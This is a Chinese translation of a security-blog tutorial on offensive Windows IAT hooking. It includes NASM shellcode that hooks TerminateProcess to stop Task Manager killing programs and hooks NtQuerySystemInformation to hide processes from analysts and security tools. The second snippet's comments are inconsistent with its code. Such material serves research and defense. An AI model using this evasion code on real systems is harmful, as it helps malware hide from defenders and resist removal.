来源:https://pentest.blog/offensive-iat-hooking/
本文将介绍如何将IAT Hook
方法用于攻击活动。这些方法可用于多种情况,包括攻击者需要逃避某些防御和分析机制,或在低特权环境中隐藏痕迹。在进入技术章节之前,你需要熟悉以下术语。
可移植可执行文件( PE):可移植可执行文件(PE)格式是一种可执行文件,目标代码,DLL
,FON
字体文件以及32位和64位版本Windows
操作系统中使用的其他格式的文件格式。PE格式是一种数据结构,它封装了Windows OS加载程序管理包装的可执行代码所需的信息。
导入地址表( IAT ):当应用程序在不同模块中调用函数时,地址表用作查找表。它的形式可以是按顺序导入和按名称导入。因为编译的程序无法知道它所依赖的库的内存位置,所以每当进行API调用时都需要进行间接跳转。当动态链接器加载模块将它们连接在一起时,它会将实际地址写入IAT插槽,并指向相应库函数的内存位置。
导入目录表( IT ):注释的一部分是导入地址表(IAT),当应用程序调用其他模块中的函数时,该表用作查找表。它的形式可以是按顺序导入和按名称导入。因为编译的程序无法知道它所依赖的库的内存位置,所以每当进行API调用时都需要间接跳转。
HOOK:在计算机编程中,术语HOOK涵盖了一系列的技术,用于通过拦截软件组件之间传递的函数调用或消息或事件来改变或增强操作系统,应用程序或其他软件组件的行为。处理此类截获的函数调用,事件或消息的代码称为钩子。API HOOK是一种技术,通过它我们可以检测和修改API调用的行为和流程。可以使用Windows上的各种方法完成API HOOK。
API HOOK
可用于许多目的,包括调试和扩展程序的功能,但它也非常有利于攻击者操纵应用程序逻辑。有几种方法可以在基于Windows
的操作系统上执行API Hook
,例如;
本文将重点介绍这些方法中的IAT HOOK
。这种特殊方法可以解释为操纵导入地址表将API函数重定向到所需的存储器地址。该地址可以是另一个API函数,恶意的shellcode
或程序代码的另一部分。为了覆盖IAT内部的地址,第一步是在进程内存中查找IAT表的地址。查找PE文件中的任何表需要大量的结构解析,幸运的是,找到IAT地址比找到其他大多数地址都容易,因为它可以在位于PE文件的可选头部内的数据目录中找到。
但是找到导入地址表对于HOOK API函数
来说还远远不够。如本文开头所述,此表仅包含API地址。为了替换API函数地址,我们需要知道哪一个是要被Hook的API函数。在深入研究PE格式后,可以发现导入地址表中的地址顺序与导入名称表(INT
)相同。解析导入名称表并找到所需的API函数的索引号将是一个不错的解决方案。
在导入名称表(INT
)中查找函数名称需要在PE文件的导入表中解析\_IMAGE\_IMPORT\_DESCRIPTOR
结构。当尝试使用反射汇编代码执行此方法时,可能没有什么挑战性。可以在Art of Anti Detection 3 - Shellcode Alchemy文章中找到更多关于解析\_IMAGE\_IMPORT\_DESCRIPTOR
结构的详细参考。在解析必要的结构并在IAT内部找到API函数索引之后,在覆盖函数地址之前需要执行另一个步骤。通常导入地址表位于内存中且只具有读权限,为了覆盖表内的条目,内存保护属性需要修改为PAGE\_READWRITE
。借助 VirtualProtect函数
,可以更改IAT(或只需要覆盖的条目)的内存保护属性。可以通过block_api或iat_api 来使用反射组件调用此函数。早期的文章中已经解释了程序集块的用法。我花了很多时间和精力编写了一个名为hook_api的汇编代码通过本文中说明的步骤来Hook IAT
。与其他程序集块相同,此处还使用了ROR13哈希值
来定位INT
内所需API函数
的索引。这个代码块的存在让开发IATHook shell
代码变得更加容易,正如本文开头所解释的,IATHook可以在许多情况下使用,例如滥用应用程序逻辑,特权升级和非特权状态内的自我防御。
下面的这段代码使用hook\_api
将TerminateProcess API
调用重定向到了一个简单的windows
消息框shellcode。Hook
此类函数可防止宿主进程终止其他正在运行的程序。这个方法可用于攻击一些软件的自我防御机制。
[BITS 64]
cld ; Clear direction flags
push r10 ; Save R10
call start ; ...
%include "hook\_api.asm"
start:
pop rbp ; Pop the address of hook\_api to RBP
call get\_funny\_func ; Get the address of funy\_func to stack
funy\_func:
incbin "MessageBox64" ; MessageBox shellcode (binary's name)
get\_funny\_func:
mov r10d,0x5ECADC87 ; hash( "KERNEL32.dll", "TerminateProcess"
call rbp ; hook\_api("TerminateProcess","funy\_func")
pop rax ; Clear the stack
pop r10 ; Restore R10
ret ; Return to caller
在使用nasm -f bin TerminateProcessHook.asm
命令组装shellcode之后,使用一个简单的shellcode
注入器程序来执行任务管理器应用程序内的有效载荷。有许多不同的方法可以将shellcode注入到正在运行的进程中,例如使用powersploit ,empire 或metasploit 等等。在一个无限循环的代码中运行此类注入可用于防止攻击程序过早的终止用户层分析和管理工具。
使用IATHook
方法的另一种创造性使用场景是隐藏你的恶意进程,防止安全人员分析或被安全软件终止运行。对于大多数程序来说,Hook NtQuerySystemInformation API
会阻止其他程序检索任何系统信息,从而使程序无法查看我们进程的任何细节。下面的代码段使用hook_api将NtQuerySystemInformation API
调用重定向到了一个空白函数,在调用时只会返回 NT\_SUCCESS
值。
[BITS 64]
cld ; Clear direction flags
push r10 ; Save R10
call start ; ...
%include "hook\_api.asm"
start:
pop rbp ; Pop the address of hook\_api to RBP
call get\_funny\_func ; Get the address of funy\_func to stack
funy\_func:
mov rax,0x3FFFFFFF ; Return NT\_SUCCESS
ret ; ...
get\_funny\_func:
mov r10d,0x95513E5D ; hash( "KERNEL32.dll", "NtQuerySystemInformation" )
call rbp ; hook\_api("TerminateProcess","funy\_func")
pop rax ; Clear the stack
pop r10 ; Restore R10
ret ; Return to caller
在将上述shellcode
组装并注入任务管理器进程之后,程序不再能够查看有关正在运行的程序的进程树或任何其他类型的信息。在无限循环的代码中运行这样的注入可以用于隐藏来自用户层分析和管理工具的进程。
点击查看演示视频:https://www.youtube.com/watch?v=crUqjE3S1Sw&feature=youtu.be
执行IATHook
可以形成不同的攻击场景,唯一的限制在于攻击者自己的想象力。下面是你在尝试使用IAT Hook
操作应用程序逻辑时,非常有用的API函数列表。
特权网络钓鱼是另一种攻击,可以通过在hook_api:https://github.com/EgeBalci/Hook_API的帮助下进行IATHook
。"特权网络钓鱼"一词可能听起来很奇怪,这种攻击会欺骗用户升级渗透系统内的攻击者权限。我将会在另一篇文章中介绍这种攻击技术。